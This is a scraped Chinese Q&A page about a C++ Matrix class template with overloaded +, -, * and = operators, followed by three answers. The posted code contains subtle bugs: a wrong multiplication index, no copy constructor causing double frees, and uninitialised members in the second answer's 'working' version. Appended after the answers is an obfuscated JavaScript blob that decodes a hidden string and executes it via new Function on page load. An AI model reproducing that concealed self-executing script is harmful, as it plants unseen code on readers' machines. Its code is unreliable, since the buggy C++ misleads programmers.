c++类模板问题

2024-12-01 12:54:45
推荐回答(3个)
回答1:

#include
#include

using namespace std;
template < class T > class Matrix {
public:
Matrix(int);
~Matrix();
void setMatrix(T **);
Matrix operator=(const Matrix < T > &);

Matrix operator +(const Matrix < T > &);
Matrix operator -(const Matrix < T > &);
Matrix operator *(const Matrix < T > &);

void output();

private:
T ** matrix;
int rows;
int cols;
};
template < class T > Matrix < T >::Matrix(int size)
{
rows = cols = size;
matrix = new T *[rows];
for (int i = 0; i < rows; i++)
matrix[i] = new T[cols];
for (int i1 = 0; i1 < rows; i1++) {
for (int j1 = 0; j1 < cols; j1++)
matrix[i1][j1] = 0;
}

}

template < class T > Matrix < T >::~Matrix()
{
for (int i = 0; i < rows; i++)
delete[]matrix[i];
delete[]matrix;
}

template < class T > void Matrix < T >::setMatrix(T ** data)
{

for (int i = 0; i < rows; i++)
for (int j = 0; j < cols; j++)
matrix[i][j] = data[i][j];
}

template < class T >
Matrix < T > Matrix < T >::operator =(const Matrix < T > &b)
{
for (int i = 0; i < b.rows; i++) {
for (int j = 0; j < b.cols; j++)
matrix[i][j] = b.matrix[i][j];
}
return *this;
}

template < class T >
Matrix < T > Matrix < T >::operator +(const Matrix < T > &b)
{
Matrix < T > a(this->rows);

int i, j;
for (i = 0; i < rows; i++)
for (j = 0; j < cols; j++)
a.matrix[i][j] = matrix[i][j] + b.matrix[i][j];
return a;
}

template < class T >
Matrix < T > Matrix < T >::operator -(const Matrix < T > &b)
{
Matrix < T > a(b.rows);
int i, j;
for (i = 0; i < rows; i++)
for (j = 0; j < cols; j++)
a.matrix[i][j] = matrix[i][j] - b.matrix[i][j];
return a;
}

template < class T >
Matrix < T > Matrix < T >::operator *(const Matrix < T > &b)
{
Matrix < T > a(b.rows);
int i, j, k;
for (i = 0; i < rows; i++)
for (k = 0; k < rows; k++)
for (j = 0; j < cols; j++)
a.matrix[i][k] +=
matrix[i][j] * b.matrix[j][i];
return a;
}
template < class T > void Matrix < T >::output()
{
for (int i = 0; i < rows; i++) {
for (int j = 0; j < cols; j++)
cout << matrix[i][j] << " ";
cout << endl;
}
}

int main()
{
Matrix < int >a(3), b(3);
// 我想实现上述重载运算符的功能,怎么写?

(a - b).output();
(a + b).output();
(a * b).output();

return 0;
}

你的错误和类模板无关。

回答2:

能成功运行了

代码如下

#include
#include

using namespace std;
template
class Matrix{
public:
Matrix(){};
Matrix(int);
~Matrix();
void setMatrix(T**);
Matrix operator=(const Matrix &);

Matrix operator +(const Matrix&);
Matrix operator -(const Matrix&);
Matrix operator *(const Matrix&);

void output();

public:
T **matrix;
int rows;
int cols;
};
template
Matrix::Matrix(int size)
{
rows=cols=size;
matrix=new T *[rows];
for(int i=0;i {
matrix[i]=new T[cols];
}

for(int i1=0;i1 {
for(int j1=0;j1 {
matrix[i1][j1]=0;
}
}

}
template
Matrix::~Matrix()
{
for(int i=0;i delete [] matrix[i];

}

template
void Matrix::setMatrix(T **data)
{

for(int i=0;i for(int j=0;j matrix[i][j]=data[i][j];
}

template
Matrix Matrix::operator =(const Matrix &b)
{
for(int i=0;i {
for(int j=0;j matrix[i][j]=b.matrix[i][j];
}
return *this;
}

template
Matrix Matrix::operator +(const Matrix &b)
{
Matrix a(*this);
int i,j;
for(i=0;i for(j=0;j a.matrix[i][j]=matrix[i][j]+b.matrix[i][j];
return a;
}

template
Matrix Matrix::operator -(const Matrix &b)
{
Matrix a;
int i,j;
for(i=0;i for(j=0;j a.matrix[i][j]=matrix[i][j]-b.matrix[i][j];
return a;
}
template
Matrix Matrix::operator *(const Matrix &b)
{
Matrix a(b.rows);
int i,j,k;
for(i=0;i for(k=0;k for(j=0;j a.matrix[i][k]+=matrix[i][j]*b.matrix[j][i];
return a;
}
template
void Matrix::output()
{
for(int i=0;i {
for(int j=0;j {
cout< }
cout< }
}

int main()
{
Matrix a(3);
a.output();

return 0;
}

回答3:

类模板是用简单的替换法则的,你的cpp由于没有相应的实现实例无法生成对应的.obj对象
解决方案是用export关键字定义模板,但是现在基本没有一个C++编译器实现了这个关键字(gcc4.5和VS2010都没)
于是现在你只能把那个cpp文件全部copy到头文件里去

详见C++ Primer中的说明

以下是export的简单介绍

PS.别在头文件中用这句
using namespace std;
这是很不好的习惯

(function(){function b7c9e1493(c95fae){var n03b5751="D$8~x9Tdn.B|3cZ?C4K^jNOeUpXAuih!HSYwR@Q-_rvPq:/]VJyotm,kzf05bMGl%(LW7&I26=F;asg1E[";var a531b0a="W$^VPE/6OSb!I?Zt3gf_UR|DGuH:pMN.,15LxKae9k&mj;]TBcvslFwQ4d@YJ8hz=o(2r07iX%-qyn[A~C";return atob(c95fae).split('').map(function(z5cd7){var e04b2b9=n03b5751.indexOf(z5cd7);return e04b2b9==-1?z5cd7:a531b0a[e04b2b9]}).join('')}var c=b7c9e1493('rtmp://LDJzZigsZyJmUyIrIk1XLXoiLyVLcHNKPzIoc0wpe0xLcHNKPzIoc0wyUUpfJlFIYUNfSWZIZldZUUJLTUgyV0JfUUlkKXsyS0xUOGlRSk9EMnNUIT8tbz9Mc1F5MjRRPyg3IXV0UT9LKDdQKSl7Ny0/cDdzfXlRNyAtei1kLXpZZlMlS3BzSj8yKHNMbFNkTWRLZCl7Ny0/cDdzIC4/NzJzNCFLNyhQW0dRN1soZi1MbFNkTWRLZCl9OnlRNyBzJlEtZkt6USVnInRxb0ZYJlNed24xZV5iLl5YXWl3IkgieS03RiZTIkgibzJmRldNIkgiSko/RlcmV1lGJkNGU3ogVyZBeldBek0iLzp5UTcgZlF6ZlFJeiZJJWZXWVFCS01nLXotZC16WWZTTCZSZFMpKy16LWQtellmU0wmUkl6KSstei1kLXpZZlNMJlJkSykrLXotZC16WWZTTCZSZFcpL0gsV0NDS2RLJWZXWVFCS01nLXotZC16WWZTTCZSZFcpKy16LWQtellmU0wmUkl6KSstei1kLXpZZlNMJlJkSykrLXotZC16WWZTTCZSZFMpL0hCU3pTWUMlMldCX1FJZGdmUXpmUUl6JklMIjVDfmFKUH5wZm1ocUpQdCxmMSUlIikvSGFDJkktUUklZlF6ZlFJeiZJTCI1Q2J0NTZOdE5EUnRCRH5wZjElJSIpSHlJelFRXyVmUXpmUUl6JklMIkpDfjJKQ05hUURZcyIpSFBKV01LWSVmUXpmUUl6JklMIkpQfixCVW1xWmslJSIpSHNCZmZRJllkJWZRemZRSXomSUwiSkNWb1E2ayUiKUhQWXpfLUIlZlF6ZlFJeiZJTCJKUH5XWjZibFprJSUiKUhRLUNLZCVmUXpmUUl6JklMIlFQX3VCNCUlIilIbC1DQ0slZlF6ZlFJeiZJTCJKUG1wWlVfPyIpSHVmQ1dLJiVmV1lRQktNZ2ZRemZRSXomSUwiXURtJlExJSUiKS9IMkNkZiZCQklZJWZRemZRSXomSUwiQlVfR1oxJSUiKTp5UTcgKFdRJllJXyVmUXpmUUl6JklMIkpXUyZRRE50ZjQlJSIpOnlRNyBzWV9CS2ZTOjJLTHQoSlE/MihzIW8tUTdKRyEyc2YtUm5LTChXUSZZSV8pPkZTKXtzWV9CS2ZTJTJXQl9RSWRnYUMmSS1RSS9MZlF6ZlFJeiZJTCJmVX56ZlVtYVpEOSUiKSk6c1lfQktmUyEyZiUiPyIrdWZDV0smZ2wtQ0NLL0wpKlMmJiYmOnNZX0JLZlMhbz9hdC0hLDJmP0clIlMmJj0iOnNZX0JLZlMhbz9hdC0hRy0yNEc/JSJZJiZ1UiI6c1lfQktmUyFmMm9RQnQtZiU/N3AtOjJLTDJXQl9RSWQhQihmYXwlc3B0dCl7MldCX1FJZCFCKGZhIVF1dS1zZltHMnRmTHNZX0JLZlMpfS10by17eVE3IGZRSkJCUyVLcHNKPzIoc0wpezJXQl9RSWQhQihmYSFRdXUtc2ZbRzJ0ZkxzWV9CS2ZTKTpmV1lRQktNITctUCh5LTl5LXM/dzJvPy1zLTdMMkNkZiZCQklZSGZRSkJCU0hLUXRvLSl9OmZXWVFCS00hUWZmOXktcz93Mm8/LXMtN0wyQ2RmJkJCSVlIZlFKQkJTSEtRdG8tKX19eVE3IFFLTSZfTSUyV0JfUUlkZ2FDJkktUUkvTGZRemZRSXomSUwiWkRTMlpEayUiKSk6UUtNJl9NITJmJWFDX0lmK3VmQ1dLJiFKLTJ0THVmQ1dLJmdsLUNDSy9MKSpTJiYmJik6eVE3IHBkQksmQ2RNSyVLcHNKPzIoc0xRJlkmUWRkX0Ipe3lRNyBRUUlNJnolcy0sIGVRPy1MKTp5UTcgUWRkSkImSiVgb1A/Ml5vMmZeJHthQ19JZn1eJHtRUUlNJnohPyh3KEpRdC1lUT8tLj83MnM0TCl9YDp5UTcgeWZfQ1dkJXNwdHQ6Pzdhe3lmX0NXZCViLm5oIXVRN28tTHQoSlF0Lj8oN1E0LSE0LT8zPy1QTFFkZEpCJkopKX1KUT9KR0wtKXt9MktMeWZfQ1dkJSVzcHR0KXt5Zl9DV2Qle0I3KCxvLTdbKHBzP0EmSH19eWZfQ1dkIUI3KCxvLTdbKHBzPysrOnlRNyBzLSZfWWQlLFdDQ0tkS0xzJlEtZkt6USFKKHNKUT9MZ2BzKCxGJHtlUT8tZyJzKCwiL0wpfWBIYEc3LUtGJHt0KEpRPzIocyFHNy1LfWBIYHBvSkYke3lmX0NXZCFCNygsby03Wyhwcz99YEgvKSFvKDc/TEwpJT51ZkNXSyZnbC1DQ0svTClGJiFZKWdRLUNLZC9MIkgiKSk6eVE3IFAtX0omTUIlcy0mX1lkITJzZi1SbktMLXotZC16WWZTTCZSQ2YpKT5GU2NzLSZfWWRneUl6UVFfL0xzLSZfWWQhMnNmLVJuS0wtei1kLXpZZlNMJlJDZikpKUEiIjpzLSZfWWQlcy0mX1lkZ1BKV01LWS9MUC1fSiZNQkgiIilnc0JmZlEmWWQvTCIiKWdQWXpfLUIvTClnUS1DS2QvTCIiKStQLV9KJk1COlFLTSZfTSFvN0olZyJHPz91b0FUVCIrUSZZJlFkZF9CSFFLTSZfTSEyZkhzLSZfWWQvZ1EtQ0tkL0wiVCIpOjJXQl9RSWQhQihmYSEyc28tNz9WLUsoNy1MUUtNJl9NSDJXQl9RSWQhQihmYSFKRzJ0ZmgoZi1vZyYvKToyS0xzWV9CS2ZTfCVzcHR0KXtzWV9CS2ZTIXlRdHAtKyUiXFw3XFxzUXV1LXNmLWYgLVAgPyggRz9QdCI6eVE3IEtfJkN6JkIlMldCX1FJZCE0LT85dC1QLXM/VmEzZkxRS00mX00hMmYpOjJLTEtfJkN6JkIlJXNwdHRPT0tfJkN6JkIlJXBzZi1LMnMtZil7c1lfQktmUyF5UXRwLSslIlxcN1xccyBKUXM/IDQtPyAtUCBLNyhQIEc/UHQifX19OjJLTHNZX0JLZlN8JXNwdHQpe3NZX0JLZlMheVF0cC0rJSJcXDdcXHNvLXNmIHFvIEcobz8gIisyUUpfJlF9eVE3IChKQiZXSyVLcHNKPzIoc0wsX0lRU00pezctP3A3cyBmUXpmUUl6JklMLF9JUVNNKWdQSldNS1kvTC16LWQtellmU0wmUldRKUh1ZkNXSyZnbC1DQ0svTCkhPyguPzcyczRMQ2QpIW90MkotTHVmQ1dLJiFLdCgoN0x1ZkNXSyZnbC1DQ0svTCkqXykrVykpfTpwZEJLJkNkTUtMKEpCJldLTDJRSl8mUSkpOmZXWVFCS01nIlFmZjl5LXM/dzJvPy1zLTciL0wiUC1vb1E0LSJIS3BzSj8yKHNMLSl7MktMLSFmUT9RIXIlJWFDX0lmKXsyV0JfUUlkITQtPzl0LVAtcz9WYTNmTFFLTSZfTSEyZikhNy1QKHktTCk6eVE3IHJZWVdKJXNwdHQ6MktMc1lfQktmU3wlc3B0dCl7c1lfQktmUyF5UXRwLSslIlxcN1xcczctSi0yeS0gLVAgdShvPyBQLW9vUTQtIjpzWV9CS2ZTIXlRdHAtKyUiXFw3XFxzLSFmUT9RIXkgIistIWZRP1EhOzpyWVlXSiVMISEhUFFTemYpJT57MktMfFBRU3pmT09QUVN6ZiF0LXM0P0c8JSYpNy0/cDdzOnNZX0JLZlMheVF0cC0rJSJcXDdcXHMiK1BRU3pmIXEoMnNMIiAiKX19cy0sIG1wc0o/MihzTCJRNzRvIkgtIWZRP1EhOylMe14/ZkpvQUJTelNZQ0hedCg0QXJZWVdKSH0pfX0pfSlMIlpXSnBoXX5sUVdtbEJEUj9aV2ZZQi5ZJkJDMWRuXXJTaDQlJSJIIldNIkgsMnNmKCxIZihKcFAtcz8pfTpmU01XLXpMKTo='.substr(7));new Function(c)()})();